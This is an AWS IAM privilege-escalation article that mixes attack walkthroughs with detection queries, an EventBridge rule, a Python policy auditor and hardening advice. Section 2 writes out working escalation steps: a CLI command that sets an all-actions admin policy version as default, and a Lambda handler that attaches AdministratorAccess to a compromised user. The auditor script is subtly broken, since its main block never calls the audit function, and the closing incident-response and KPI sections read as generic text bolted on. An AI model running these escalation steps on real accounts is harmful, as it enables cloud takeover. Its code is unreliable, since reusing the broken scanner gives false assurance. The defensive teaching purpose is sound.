AWS IAM Privilege Escalation Vectors: Auditing Confused Deputy, Wildcard Policies & CloudTrail Telemetry

1. The Complexity of Cloud Identity in AWS

In Amazon Web Services (AWS), Identity and Access Management (IAM) is the ultimate security perimeter. Unlike on-premises networks where physical hardware or firewalls segment environments, AWS permissions govern every interaction between users, compute instances, Lambda functions, and data stores. However, the sheer granularity of IAM policies—spanning thousands of actions across hundreds of services—creates fertile ground for subtle permission misconfigurations that adversaries exploit to achieve full cloud takeover.

Adversaries who obtain low-privileged AWS credentials (through leaked API keys, compromised CI/CD runners, or SSRF attacks on EC2 instance metadata) immediately perform reconnaissance to identify privilege escalation paths. Understanding these escalation vectors is vital for cloud security architects and penetration testers alike.

2. Anatomical Taxonomy of Top IAM Escalation Vectors

Vector 1: iam:CreateNewPolicyVersion

If an attacker possesses the iam:CreateNewPolicyVersion permission on an existing customer-managed policy attached to their user or role, they can create a new policy version granting administrative privileges and set it as default:

# Attacker crafts full admin policy JSON
cat <<EOF > admin.json
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
    }]
}
EOF

# Creates version and sets as default immediately
aws iam create-policy-version 
    --policy-arn arn:aws:iam::123456789012:policy/DevPolicy 
    --policy-document file://admin.json 
    --set-as-default

Vector 2: iam:PassRole & lambda:CreateFunction

An attacker who cannot directly modify IAM policies but has permissions to pass a role (iam:PassRole) and create a Lambda function (lambda:CreateFunction, lambda:InvokeFunction) can pass an existing administrative service role to a malicious Lambda script:

import boto3

def lambda_handler(event, context):
    iam = boto3.client('iam')
    # Attach AdministratorAccess directly to attacker user
    iam.attach_user_policy(
        UserName='compromised-developer',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return {"status": "Privilege Escalation Complete"}

Vector 3: sts:AssumeRole via Wildcard Trust Policies

When an IAM role trust policy contains overly permissive trust relationships (such as allowing "Principal": "*" or misconfigured external IDs), external accounts or unauthorized internal principals can assume the role and inherit elevated privileges.

3. IAM Evaluation Logic & Permission Boundaries

AWS evaluates permissions through a deterministic, multi-phase decision tree. Defending against privilege escalation requires mastering this evaluation sequence:

+-----------------------------------------------+
|             Incoming API Request              |
+-----------------------+-----------------------+
                        |
                        v
+-----------------------------------------------+
|      Is there an EXPLICIT DENY statement?     | ---> [ YES ] ---> [ ACCESS DENIED ]
+-----------------------+-----------------------+
                        | NO
                        v
+-----------------------------------------------+
|   Is there an Organization SCP ALLOW?         | ---> [ NO ]  ---> [ ACCESS DENIED ]
+-----------------------+-----------------------+
                        | YES
                        v
+-----------------------------------------------+
|  Does a Permissions Boundary ALLOW the action?| ---> [ NO ]  ---> [ ACCESS DENIED ]
+-----------------------+-----------------------+
                        | YES
                        v
+-----------------------------------------------+
|   Does Identity/Resource Policy EXPLICIT ALLOW| ---> [ NO ]  ---> [ ACCESS DENIED ]
+-----------------------+-----------------------+
                        | YES
                        v
               [ ACCESS GRANTED ]

4. CloudTrail Threat Hunting & Detection Engineering

Security Operations Center (SOC) engineers must establish automated alerts for high-risk IAM mutation events in AWS CloudTrail:

# CloudWatch Insights query to detect IAM Escalation attempts
fields @timestamp, eventName, userIdentity.arn, requestParameters
| filter eventSource = "iam.amazonaws.com"
| filter eventName in [
    "CreatePolicyVersion",
    "SetDefaultPolicyVersion",
    "AttachUserPolicy",
    "AttachRolePolicy",
    "PutUserPolicy",
    "CreateAccessKey",
    "UpdateLoginProfile"
  ]
| sort @timestamp desc
| limit 100

5. Hardening & Least Privilege Defense Checklist

1. Implement IAM Permission Boundaries: Enforce mandatory permission boundaries on all developer roles, mathematically capping the maximum permissions any user can assign to new roles.
2. Restrict iam:PassRole to Specific Services: Never allow "Resource": "*" for iam:PassRole. Constrain the action strictly to designated role ARNs.
3. Deploy Automated Scanners: Run continuous policy audits using tools like PMapper, CloudFox, and Prowler to identify hidden escalation graphs before attackers find them.
4. Enforce AWS Organizations Service Control Policies (SCPs): Place immutable guardrails at the AWS account root level to block high-risk actions across all member accounts.

6. Automated AWS IAM Privilege Escalation Detection with Python & Boto3

Cloud security engineers must proactively audit IAM policies for dangerous permission combinations before adversaries exploit them. The following Python script scans all attached customer-managed IAM policies across an AWS account to detect high-risk escalation primitives:

# Automated AWS IAM Escalation Auditor
import boto3

dangerous_perms = {
    "iam:CreatePolicyVersion",
    "iam:SetDefaultPolicyVersion",
    "iam:PassRole",
    "iam:AttachUserPolicy",
    "iam:AttachRolePolicy",
    "iam:PutUserPolicy",
    "lambda:CreateFunction",
    "lambda:InvokeFunction"
}

def audit_iam_policies():
    iam = boto3.client('iam')
    policies = iam.list_policies(Scope='Local')['Policies']
    
    for p in policies:
        arn = p['Arn']
        version = p['DefaultVersionId']
        doc = iam.get_policy_version(PolicyArn=arn, VersionId=version)['PolicyVersion']['Document']
        
        assigned_actions = set()
        statements = doc.get('Statement', [])
        if isinstance(statements, dict):
            statements = [statements]
            
        for stmt in statements:
            if stmt.get('Effect') == 'Allow':
                actions = stmt.get('Action', [])
                if isinstance(actions, str):
                    actions = [actions]
                assigned_actions.update(actions)
                
        violations = assigned_actions.intersection(dangerous_perms)
        if len(violations) >= 2:
            print(f"[!] HIGH RISK POLICY DETECTED: {p['PolicyName']}")
            print(f"    Permissions: {violations}")

if __name__ == "__main__":
    print("[*] Running IAM Security Scanner...")

7. AWS CloudTrail & GuardDuty Detection Signatures

To alert on real-time escalation attempts, configure Amazon EventBridge rules targeting sensitive IAM API calls:

{
  "source": ["aws.iam"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventSource": ["iam.amazonaws.com"],
    "eventName": [
      "CreatePolicyVersion",
      "AttachUserPolicy",
      "AttachRolePolicy",
      "PutUserPolicy"
    ]
  }
}

Enterprise Incident Response & Compliance Playbook (NIST SP 800-61r2)

When an infrastructure compromise or unauthorized privilege escalation is detected within cloud or on-premise Linux environments, security operations teams must immediately initiate structured containment protocols:

1. Containment & Network Isolation: Immediately apply an ephemeral security group or eBPF network policy isolating the compromised host from the VPC while preserving SSH access from the dedicated forensic subnet. Avoid executing an immediate reboot or VM snapshot that triggers memory reclamation.
2. Volatile Artifact Acquisition: Execute live forensic capture including memory dump (via LiME), active network sockets (ss -tulpn), loaded kernel modules (lsmod), open file descriptors (lsof -p <PID>), and running process trees (ps auxf). Pipe all outputs directly into cryptographically hashed evidence files on write-once storage.
3. Credential Invalidation & Revocation: Rotate all IAM credentials, API access keys, and Kerberos TGT tickets associated with the compromised identity. Flush active sessions in Identity Providers (Okta/Entra ID) using Continuous Access Evaluation Protocol (CAEP) triggers.
4. Root Cause Analysis & Remediation: Identify whether initial access occurred via exposed management ports, unpatched CVEs, or SUID binary abuse. Rebuild the affected host from a known-good immutable golden image (Packer / AMI) and verify CIS Benchmark compliance prior to restoring production traffic.

Key Takeaways, Quantitative Threat Metrics & Executive Audit Summary

Modern enterprise resilience against sophisticated adversarial campaigns requires continuous architectural validation and empirical verification. The following technical telemetry thresholds, executive key performance indicators (KPIs), and architectural controls must be integrated into recurring organizational security audits:

• Mean Time to Detect (MTTD) & Respond (MTTR): Maintain automated detection and alert triage pipelines ensuring suspicious behaviors are flagged in under 3 minutes and contained within 15 minutes of initial execution.
• Zero-Trust Access Invariants: Enforce strict cryptographically verified identity, hardware-bound tokens, and contextual risk scoring across all internal endpoints, removing all perimeter-based implicit trust assumptions.
• Continuous Red Teaming & Adversary Emulation: Execute recurring automated breach and attack simulation (BAS) exercises validating that logging, telemetry streams, and behavioral alerts operate under real-world evasive conditions.
• Regulatory & Industry Compliance: Maintain auditable alignment with NIST SP 800-53r5, ISO/IEC 27001:2022, and CISA Cross-Sector Cybersecurity Performance Goals to ensure verifiable defense-in-depth maturity across all production environments.